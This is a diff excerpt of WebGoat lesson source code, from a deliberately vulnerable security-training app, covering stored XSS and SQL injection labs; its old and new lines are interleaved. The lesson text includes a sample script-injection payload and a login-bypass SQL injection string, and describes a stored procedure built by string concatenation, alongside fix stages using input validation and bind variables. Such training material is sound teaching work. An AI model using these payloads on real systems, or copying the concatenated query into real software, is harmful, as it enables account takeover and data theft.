+ "A sample JavaScript snippet you can use is: &lt;SCRIPT&gt;alert('bang!');&lt;/SCRIPT&gt;.";
}
else if (STAGE2.equals(stage))
{
instructions = "Stage 2: Block Stored XSS using Input Validation.<br>"
+ "Implement a fix in the stored procedure to prevent the stored XSS from being written to the database. ";
if (getWebgoatContext().getDatabaseDriver().contains("jtds"))
instructions += "Use the provided user-defined function RegexMatch to test the data against a pattern. ";
instructions += "A sample regular expression pattern: ^[a-zA-Z0-9,\\. ]{0,80}$ "
+ "Repeat stage 1 as 'Eric' with 'David' as the manager. Verify that 'David' is not affected by the attack.";
}
} }
return instructions;
} }
return instructions;
}
@Override
public String[] getStages() {
if (getWebgoatContext().isCodingExercises())
return new String[] {STAGE1, STAGE2};
return new String[] {STAGE1};
}
public void handleRequest(WebSession s)
{
if (s.getLessonSession(this) == null)
s.openLessonSession(this);
String requestedActionName = null;
try
{
requestedActionName = s.getParser().getStringParameter("action");
}
catch (ParameterNotFoundException pnfe)
{
// Let them eat login page.
requestedActionName = LOGIN_ACTION;
}
if (requestedActionName != null)
{
try
{
LessonAction action = getAction(requestedActionName);
if (action != null)
{
if (!action.requiresAuthentication()
|| action.isAuthenticated(s))
{
action.handleRequest(s);
//setCurrentAction(s, action.getNextPage(s));
}
}
else
{
setCurrentAction(s, ERROR_ACTION);
}
}
catch (ParameterNotFoundException pnfe)
{
System.out.println("Missing parameter");
pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (ValidationException ve)
{
System.out.println("Validation failed");
ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (UnauthenticatedException ue)
{
s.setMessage("Login failed");
System.out.println("Authentication failure");
ue.printStackTrace();
}
catch (UnauthorizedException ue2)
{
s.setMessage("You are not authorized to perform this function");
System.out.println("Authorization failure");
ue2.printStackTrace();
}
catch (Exception e)
{
// All other errors send the user to the generic error page
System.out.println("handleRequest() error");
e.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
}
// All this does for this lesson is ensure that a non-null content exists.
setContent(new ElementContainer());
}
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the CrossSiteScripting object
*
* @return The title value
*/
public String getTitle()
{
return "LAB: DB Cross Site Scripting (XSS)";
}
@Override @Override
protected boolean getDefaultHidden() { public String[] getStages()
{
if (getWebgoatContext().isCodingExercises()) return new String[] { STAGE1, STAGE2 };
return new String[] { STAGE1 };
}
public void handleRequest(WebSession s)
{
if (s.getLessonSession(this) == null) s.openLessonSession(this);
String requestedActionName = null;
try
{
requestedActionName = s.getParser().getStringParameter("action");
} catch (ParameterNotFoundException pnfe)
{
// Let them eat login page.
requestedActionName = LOGIN_ACTION;
}
if (requestedActionName != null)
{
try
{
LessonAction action = getAction(requestedActionName);
if (action != null)
{
if (!action.requiresAuthentication() || action.isAuthenticated(s))
{
action.handleRequest(s);
// setCurrentAction(s, action.getNextPage(s));
}
}
else
{
setCurrentAction(s, ERROR_ACTION);
}
} catch (ParameterNotFoundException pnfe)
{
System.out.println("Missing parameter");
pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
} catch (ValidationException ve)
{
System.out.println("Validation failed");
ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
} catch (UnauthenticatedException ue)
{
s.setMessage("Login failed");
System.out.println("Authentication failure");
ue.printStackTrace();
} catch (UnauthorizedException ue2)
{
s.setMessage("You are not authorized to perform this function");
System.out.println("Authorization failure");
ue2.printStackTrace();
} catch (Exception e)
{
// All other errors send the user to the generic error page
System.out.println("handleRequest() error");
e.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
}
// All this does for this lesson is ensure that a non-null content exists.
setContent(new ElementContainer());
}
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the CrossSiteScripting object
*
* @return The title value
*/
public String getTitle()
{
return "LAB: DB Cross Site Scripting (XSS)";
}
@Override
protected boolean getDefaultHidden()
{
String driver = getWebgoatContext().getDatabaseDriver(); String driver = getWebgoatContext().getDatabaseDriver();
boolean hidden = ! (driver.contains("oracle") || driver.contains("jtds")); boolean hidden = !(driver.contains("oracle") || driver.contains("jtds"));
return hidden; return hidden;
} }

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.DBCrossSiteScripting; package org.owasp.webgoat.lessons.DBCrossSiteScripting;
import java.sql.CallableStatement; import java.sql.CallableStatement;
@ -5,9 +6,7 @@ import java.sql.PreparedStatement;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequest;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
@ -19,250 +18,223 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
public class UpdateProfile extends DefaultLessonAction public class UpdateProfile extends DefaultLessonAction
{ {
private LessonAction chainedAction; private LessonAction chainedAction;
public UpdateProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
public UpdateProfile(GoatHillsFinancial lesson, String lessonName,
String actionName, LessonAction chainedAction)
{
super(lesson, lessonName, actionName);
this.chainedAction = chainedAction;
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException,
ValidationException
{
if (isAuthenticated(s))
{ {
int userId = getIntSessionAttribute(s, getLessonName() + "." super(lesson, lessonName, actionName);
+ RoleBasedAccessControl.USER_ID); this.chainedAction = chainedAction;
}
HttpServletRequest request = s.getRequest(); public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
int subjectId = Integer.parseInt(request.getParameter(DBCrossSiteScripting.EMPLOYEE_ID)); UnauthorizedException, ValidationException
String firstName = request.getParameter(DBCrossSiteScripting.FIRST_NAME); {
String lastName = request.getParameter(DBCrossSiteScripting.LAST_NAME); if (isAuthenticated(s))
String ssn = request.getParameter(DBCrossSiteScripting.SSN); {
String title = request.getParameter(DBCrossSiteScripting.TITLE); int userId = getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID);
String phone = request.getParameter(DBCrossSiteScripting.PHONE_NUMBER);
String address1 = request.getParameter(DBCrossSiteScripting.ADDRESS1);
String address2 = request.getParameter(DBCrossSiteScripting.ADDRESS2);
int manager = Integer.parseInt(request
.getParameter(DBCrossSiteScripting.MANAGER));
String startDate = request.getParameter(DBCrossSiteScripting.START_DATE);
int salary = Integer.parseInt(request
.getParameter(DBCrossSiteScripting.SALARY));
String ccn = request.getParameter(DBCrossSiteScripting.CCN);
int ccnLimit = Integer.parseInt(request
.getParameter(DBCrossSiteScripting.CCN_LIMIT));
String disciplinaryActionDate = request
.getParameter(DBCrossSiteScripting.DISCIPLINARY_DATE);
String disciplinaryActionNotes = request
.getParameter(DBCrossSiteScripting.DISCIPLINARY_NOTES);
String personalDescription = request
.getParameter(DBCrossSiteScripting.DESCRIPTION);
Employee employee = new Employee(subjectId, firstName, lastName, ssn, HttpServletRequest request = s.getRequest();
title, phone, address1, address2, manager, startDate, salary, int subjectId = Integer.parseInt(request.getParameter(DBCrossSiteScripting.EMPLOYEE_ID));
ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes, String firstName = request.getParameter(DBCrossSiteScripting.FIRST_NAME);
personalDescription); String lastName = request.getParameter(DBCrossSiteScripting.LAST_NAME);
String ssn = request.getParameter(DBCrossSiteScripting.SSN);
String title = request.getParameter(DBCrossSiteScripting.TITLE);
String phone = request.getParameter(DBCrossSiteScripting.PHONE_NUMBER);
String address1 = request.getParameter(DBCrossSiteScripting.ADDRESS1);
String address2 = request.getParameter(DBCrossSiteScripting.ADDRESS2);
int manager = Integer.parseInt(request.getParameter(DBCrossSiteScripting.MANAGER));
String startDate = request.getParameter(DBCrossSiteScripting.START_DATE);
int salary = Integer.parseInt(request.getParameter(DBCrossSiteScripting.SALARY));
String ccn = request.getParameter(DBCrossSiteScripting.CCN);
int ccnLimit = Integer.parseInt(request.getParameter(DBCrossSiteScripting.CCN_LIMIT));
String disciplinaryActionDate = request.getParameter(DBCrossSiteScripting.DISCIPLINARY_DATE);
String disciplinaryActionNotes = request.getParameter(DBCrossSiteScripting.DISCIPLINARY_NOTES);
String personalDescription = request.getParameter(DBCrossSiteScripting.DESCRIPTION);
try Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2,
{ manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
if (subjectId > 0) personalDescription);
{
this.changeEmployeeProfile(s, userId, subjectId, employee); try
setRequestAttribute(s, getLessonName() + "."
+ DBCrossSiteScripting.EMPLOYEE_ID, Integer
.toString(subjectId));
if (DBCrossSiteScripting.STAGE1.equals(getStage(s)))
{ {
address1 = address1.toLowerCase(); if (subjectId > 0)
boolean pass = address1.contains("<script>");
pass &= address1.contains("alert");
pass &= address1.contains("</script>");
if (pass)
{ {
setStageComplete(s, DBCrossSiteScripting.STAGE1); this.changeEmployeeProfile(s, userId, subjectId, employee);
setRequestAttribute(s, getLessonName() + "." + DBCrossSiteScripting.EMPLOYEE_ID, Integer
.toString(subjectId));
if (DBCrossSiteScripting.STAGE1.equals(getStage(s)))
{
address1 = address1.toLowerCase();
boolean pass = address1.contains("<script>");
pass &= address1.contains("alert");
pass &= address1.contains("</script>");
if (pass)
{
setStageComplete(s, DBCrossSiteScripting.STAGE1);
}
}
} }
else
this.createEmployeeProfile(s, userId, employee);
} catch (SQLException e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
if (DBCrossSiteScripting.STAGE2.equals(getStage(s))
&& (e.getMessage().contains("ORA-06512") || e.getMessage().contains("Illegal characters"))
&& !employee.getAddress1().matches("^[a-zA-Z0-9,\\. ]{0,80}$"))
{
setStageComplete(s, DBCrossSiteScripting.STAGE2);
}
} catch (ClassNotFoundException e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
} }
}
else
this.createEmployeeProfile(s, userId, employee);
}
catch (SQLException e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
if (DBCrossSiteScripting.STAGE2.equals(getStage(s)) &&
(e.getMessage().contains("ORA-06512") || e.getMessage().contains("Illegal characters")) &&
!employee.getAddress1().matches("^[a-zA-Z0-9,\\. ]{0,80}$"))
{
setStageComplete(s, DBCrossSiteScripting.STAGE2);
}
} try
catch (ClassNotFoundException e) {
{ chainedAction.handleRequest(s);
s.setMessage("Error updating employee profile"); } catch (UnauthenticatedException ue1)
e.printStackTrace(); {
} System.out.println("Internal server error");
ue1.printStackTrace();
try } catch (UnauthorizedException ue2)
{ {
chainedAction.handleRequest(s); System.out.println("Internal server error");
} ue2.printStackTrace();
catch (UnauthenticatedException ue1) }
{ }
System.out.println("Internal server error"); else
ue1.printStackTrace(); throw new UnauthenticatedException();
}
catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
}
} }
else
throw new UnauthenticatedException();
}
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{
return DBCrossSiteScripting.VIEWPROFILE_ACTION;
}
public void changeEmployeeProfile(WebSession s, int userId, int subjectId,
Employee employee) throws SQLException, ClassNotFoundException
{
try
{
String update = " { CALL UPDATE_EMPLOYEE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?) }";
CallableStatement call = WebSession.getConnection(s).prepareCall(update);
// Note: The password field is ONLY set by ChangePassword
call.setInt(1, userId);
call.setString(2, employee.getFirstName());
call.setString(3, employee.getLastName());
call.setString(4, employee.getSsn());
call.setString(5, employee.getTitle());
call.setString(6, employee.getPhoneNumber());
call.setString(7, employee.getAddress1());
call.setString(8, employee.getAddress2());
call.setInt(9, employee.getManager());
call.setString(10, employee.getStartDate());
call.setInt(11, employee.getSalary());
call.setString(12, employee.getCcn());
call.setInt(13, employee.getCcnLimit());
call.setString(14, employee.getDisciplinaryActionDate());
call.setString(15, employee.getDisciplinaryActionNotes());
call.setString(16, employee.getPersonalDescription());
call.executeUpdate();
}
catch (ClassNotFoundException e)
{
e.printStackTrace();
}
}
public void createEmployeeProfile(WebSession s, int userId,
Employee employee) throws UnauthorizedException
{
try
{ {
return DBCrossSiteScripting.VIEWPROFILE_ACTION;
}
public void changeEmployeeProfile(WebSession s, int userId, int subjectId, Employee employee) throws SQLException,
ClassNotFoundException
{
try
{
String update = " { CALL UPDATE_EMPLOYEE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?) }";
CallableStatement call = WebSession.getConnection(s).prepareCall(update);
// Note: The password field is ONLY set by ChangePassword
call.setInt(1, userId);
call.setString(2, employee.getFirstName());
call.setString(3, employee.getLastName());
call.setString(4, employee.getSsn());
call.setString(5, employee.getTitle());
call.setString(6, employee.getPhoneNumber());
call.setString(7, employee.getAddress1());
call.setString(8, employee.getAddress2());
call.setInt(9, employee.getManager());
call.setString(10, employee.getStartDate());
call.setInt(11, employee.getSalary());
call.setString(12, employee.getCcn());
call.setInt(13, employee.getCcnLimit());
call.setString(14, employee.getDisciplinaryActionDate());
call.setString(15, employee.getDisciplinaryActionNotes());
call.setString(16, employee.getPersonalDescription());
call.executeUpdate();
} catch (ClassNotFoundException e)
{
e.printStackTrace();
}
}
public void createEmployeeProfile(WebSession s, int userId, Employee employee) throws UnauthorizedException
{
try
{
int nextId = getNextUID(s); int nextId = getNextUID(s);
String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)"; String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)";
try try
{ {
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query); PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query);
ps.setString(1, employee.getFirstName().toLowerCase()); ps.setString(1, employee.getFirstName().toLowerCase());
ps.setString(2, employee.getLastName()); ps.setString(2, employee.getLastName());
ps.setString(3, employee.getSsn()); ps.setString(3, employee.getSsn());
ps.setString(4, employee.getTitle()); ps.setString(4, employee.getTitle());
ps.setString(5, employee.getPhoneNumber()); ps.setString(5, employee.getPhoneNumber());
ps.setString(6, employee.getAddress1()); ps.setString(6, employee.getAddress1());
ps.setString(7, employee.getAddress2()); ps.setString(7, employee.getAddress2());
ps.setInt(8, employee.getManager()); ps.setInt(8, employee.getManager());
ps.setString(9, employee.getStartDate()); ps.setString(9, employee.getStartDate());
ps.setString(10, employee.getCcn()); ps.setString(10, employee.getCcn());
ps.setInt(11, employee.getCcnLimit()); ps.setInt(11, employee.getCcnLimit());
ps.setString(12, employee.getDisciplinaryActionDate()); ps.setString(12, employee.getDisciplinaryActionDate());
ps.setString(13, employee.getDisciplinaryActionNotes()); ps.setString(13, employee.getDisciplinaryActionNotes());
ps.setString(14, employee.getPersonalDescription()); ps.setString(14, employee.getPersonalDescription());
ps.execute(); ps.execute();
} } catch (SQLException sqle)
catch (SQLException sqle) {
{ s.setMessage("Error updating employee profile");
s.setMessage("Error updating employee profile"); sqle.printStackTrace();
sqle.printStackTrace(); }
} } catch (Exception e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
}
} }
catch (Exception e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
}
}
private int getNextUID(WebSession s) private int getNextUID(WebSession s)
{
int uid = -1;
try
{ {
Statement statement = WebSession.getConnection(s).createStatement( int uid = -1;
ResultSet.TYPE_SCROLL_INSENSITIVE, try
ResultSet.CONCUR_READ_ONLY); {
ResultSet results = statement Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
.executeQuery("select max(userid) as uid from employee"); ResultSet.CONCUR_READ_ONLY);
results.first(); ResultSet results = statement.executeQuery("select max(userid) as uid from employee");
uid = results.getInt("uid"); results.first();
uid = results.getInt("uid");
} catch (SQLException sqle)
{
sqle.printStackTrace();
s.setMessage("Error updating employee profile");
} catch (ClassNotFoundException e)
{
// TODO Auto-generated catch block
e.printStackTrace();
}
return uid + 1;
} }
catch (SQLException sqle)
{
sqle.printStackTrace();
s.setMessage("Error updating employee profile");
}
catch (ClassNotFoundException e)
{
// TODO Auto-generated catch block
e.printStackTrace();
}
return uid + 1;
}
} }

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.DBSQLInjection; package org.owasp.webgoat.lessons.DBSQLInjection;
import java.util.ArrayList; import java.util.ArrayList;
@ -20,240 +21,223 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
public class DBSQLInjection extends GoatHillsFinancial public class DBSQLInjection extends GoatHillsFinancial
{ {
private final static Integer DEFAULT_RANKING = new Integer(75); private final static Integer DEFAULT_RANKING = new Integer(75);
public final static int PRIZE_EMPLOYEE_ID = 112; public final static int PRIZE_EMPLOYEE_ID = 112;
public final static String PRIZE_EMPLOYEE_NAME = "Neville Bartholomew"; public final static String PRIZE_EMPLOYEE_NAME = "Neville Bartholomew";
public final static String STAGE1 = "String SQL Injection"; public final static String STAGE1 = "String SQL Injection";
public final static String STAGE2 = "Block SQL Injection using Bind Variables"; public final static String STAGE2 = "Block SQL Injection using Bind Variables";
public void registerActions(String className) public void registerActions(String className)
{
registerAction(new ListStaff(this, className, LISTSTAFF_ACTION));
registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION));
registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION));
registerAction(new EditProfile(this, className, EDITPROFILE_ACTION));
registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
// These actions are special in that they chain to other actions.
registerAction(new Login(this, className, LOGIN_ACTION,
getAction(LISTSTAFF_ACTION)));
registerAction(new Logout(this, className, LOGOUT_ACTION,
getAction(LOGIN_ACTION)));
registerAction(new FindProfile(this, className, FINDPROFILE_ACTION,
getAction(VIEWPROFILE_ACTION)));
registerAction(new UpdateProfile(this, className,
UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new DeleteProfile(this, className,
DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
}
/**
* Gets the category attribute of the CrossSiteScripting object
*
* @return The category value
*/
public Category getDefaultCategory()
{
return Category.INJECTION;
}
/**
* Gets the hints attribute of the DirectoryScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints
.add("The application is taking your input and inserting it at the end of a pre-formed SQL command.");
hints
.add("This is the code for the query being built and issued by WebGoat:<br><br> "
+ "stmt := 'SELECT USERID FROM EMPLOYEE WHERE USERID = ' || v_id || ' AND PASSWORD = ''' || v_password || '''';<br>"
+ "EXECUTE IMMEDIATE stmt INTO v_userid;");
hints
.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
+ "Remember: You need to end up with a SQL statement that only returns one row, since we are using an INTO clause");
// Stage 1
hints
.add("You may need to use WebScarab to remove a field length limit to fit your attack.");
hints.add("Try entering a password of [ ' OR userid=112 OR password=' ].");
// Stage 2
hints
.add("Change the Stored procedure to use bind variables.");
return hints;
}
@Override
public String[] getStages() {
if (getWebgoatContext().isCodingExercises())
return new String[] {STAGE1, STAGE2};
return new String[] {STAGE1};
}
/**
* Gets the instructions attribute of the ParameterInjection object
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
String instructions = "";
if (!getLessonTracker(s).getCompleted())
{ {
String stage = getStage(s); registerAction(new ListStaff(this, className, LISTSTAFF_ACTION));
if (STAGE1.equals(stage)) registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION));
{ registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION));
instructions = "Stage 1: Use String SQL Injection to bypass authentication. " registerAction(new EditProfile(this, className, EDITPROFILE_ACTION));
+ "The goal here is to login as the user " registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
+ PRIZE_EMPLOYEE_NAME
+ ", who is in the Admin group. " // These actions are special in that they chain to other actions.
+ "You do not have the password, but the form is SQL injectable. " registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION)));
+ "View the EMPLOYEE_LOGIN stored procedure and see if you can " registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION)));
+ "determine why the exploit exists."; registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
} registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
else if (STAGE2.equals(stage)) registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
{
instructions = "Stage 2: Use bind variables.<br>"
+ "Using the Squirrel SQL Client, update the EMPLOYEE_LOGIN stored procedure in the database "
+ "to use bind variables, rather than string concatenation. "
+ "Repeat the SQL Injection attack. Verify that the attack is no longer effective.";
}
} }
return instructions; /**
} * Gets the category attribute of the CrossSiteScripting object
*
public void handleRequest(WebSession s) * @return The category value
{ */
if (s.getLessonSession(this) == null) public Category getDefaultCategory()
s.openLessonSession(this);
String requestedActionName = null;
try
{ {
requestedActionName = s.getParser().getStringParameter("action"); return Category.INJECTION;
} }
catch (ParameterNotFoundException pnfe)
/**
* Gets the hints attribute of the DirectoryScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{ {
// Let them eat login page. List<String> hints = new ArrayList<String>();
requestedActionName = LOGIN_ACTION; hints.add("The application is taking your input and inserting it at the end of a pre-formed SQL command.");
hints
.add("This is the code for the query being built and issued by WebGoat:<br><br> "
+ "stmt := 'SELECT USERID FROM EMPLOYEE WHERE USERID = ' || v_id || ' AND PASSWORD = ''' || v_password || '''';<br>"
+ "EXECUTE IMMEDIATE stmt INTO v_userid;");
hints
.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
+ "Remember: You need to end up with a SQL statement that only returns one row, since we are using an INTO clause");
// Stage 1
hints.add("You may need to use WebScarab to remove a field length limit to fit your attack.");
hints.add("Try entering a password of [ ' OR userid=112 OR password=' ].");
// Stage 2
hints.add("Change the Stored procedure to use bind variables.");
return hints;
} }
if (requestedActionName != null)
{
try
{
LessonAction action = getAction(requestedActionName);
if (action != null)
{
//System.out.println("CrossSiteScripting.handleRequest() dispatching to: " + action.getActionName());
if (!action.requiresAuthentication()
|| action.isAuthenticated(s))
{
action.handleRequest(s);
//setCurrentAction(s, action.getNextPage(s));
}
}
else
setCurrentAction(s, ERROR_ACTION);
}
catch (ParameterNotFoundException pnfe)
{
System.out.println("Missing parameter");
pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (ValidationException ve)
{
System.out.println("Validation failed");
ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (UnauthenticatedException ue)
{
s.setMessage("Login failed");
System.out.println("Authentication failure");
ue.printStackTrace();
}
catch (UnauthorizedException ue2)
{
s.setMessage("You are not authorized to perform this function");
System.out.println("Authorization failure");
ue2.printStackTrace();
}
catch (Exception e)
{
// All other errors send the user to the generic error page
System.out.println("handleRequest() error");
e.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
}
// All this does for this lesson is ensure that a non-null content exists.
setContent(new ElementContainer());
}
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the CrossSiteScripting object
*
* @return The title value
*/
public String getTitle()
{
return "LAB: DB SQL Injection";
}
@Override @Override
protected boolean getDefaultHidden() { public String[] getStages()
{
if (getWebgoatContext().isCodingExercises()) return new String[] { STAGE1, STAGE2 };
return new String[] { STAGE1 };
}
/**
* Gets the instructions attribute of the ParameterInjection object
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
String instructions = "";
if (!getLessonTracker(s).getCompleted())
{
String stage = getStage(s);
if (STAGE1.equals(stage))
{
instructions = "Stage 1: Use String SQL Injection to bypass authentication. "
+ "The goal here is to login as the user " + PRIZE_EMPLOYEE_NAME
+ ", who is in the Admin group. "
+ "You do not have the password, but the form is SQL injectable. "
+ "View the EMPLOYEE_LOGIN stored procedure and see if you can "
+ "determine why the exploit exists.";
}
else if (STAGE2.equals(stage))
{
instructions = "Stage 2: Use bind variables.<br>"
+ "Using the Squirrel SQL Client, update the EMPLOYEE_LOGIN stored procedure in the database "
+ "to use bind variables, rather than string concatenation. "
+ "Repeat the SQL Injection attack. Verify that the attack is no longer effective.";
}
}
return instructions;
}
public void handleRequest(WebSession s)
{
if (s.getLessonSession(this) == null) s.openLessonSession(this);
String requestedActionName = null;
try
{
requestedActionName = s.getParser().getStringParameter("action");
} catch (ParameterNotFoundException pnfe)
{
// Let them eat login page.
requestedActionName = LOGIN_ACTION;
}
if (requestedActionName != null)
{
try
{
LessonAction action = getAction(requestedActionName);
if (action != null)
{
// System.out.println("CrossSiteScripting.handleRequest() dispatching to: " +
// action.getActionName());
if (!action.requiresAuthentication() || action.isAuthenticated(s))
{
action.handleRequest(s);
// setCurrentAction(s, action.getNextPage(s));
}
}
else
setCurrentAction(s, ERROR_ACTION);
} catch (ParameterNotFoundException pnfe)
{
System.out.println("Missing parameter");
pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
} catch (ValidationException ve)
{
System.out.println("Validation failed");
ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
} catch (UnauthenticatedException ue)
{
s.setMessage("Login failed");
System.out.println("Authentication failure");
ue.printStackTrace();
} catch (UnauthorizedException ue2)
{
s.setMessage("You are not authorized to perform this function");
System.out.println("Authorization failure");
ue2.printStackTrace();
} catch (Exception e)
{
// All other errors send the user to the generic error page
System.out.println("handleRequest() error");
e.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
}
// All this does for this lesson is ensure that a non-null content exists.
setContent(new ElementContainer());
}
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the CrossSiteScripting object
*
* @return The title value
*/
public String getTitle()
{
return "LAB: DB SQL Injection";
}
@Override
protected boolean getDefaultHidden()
{
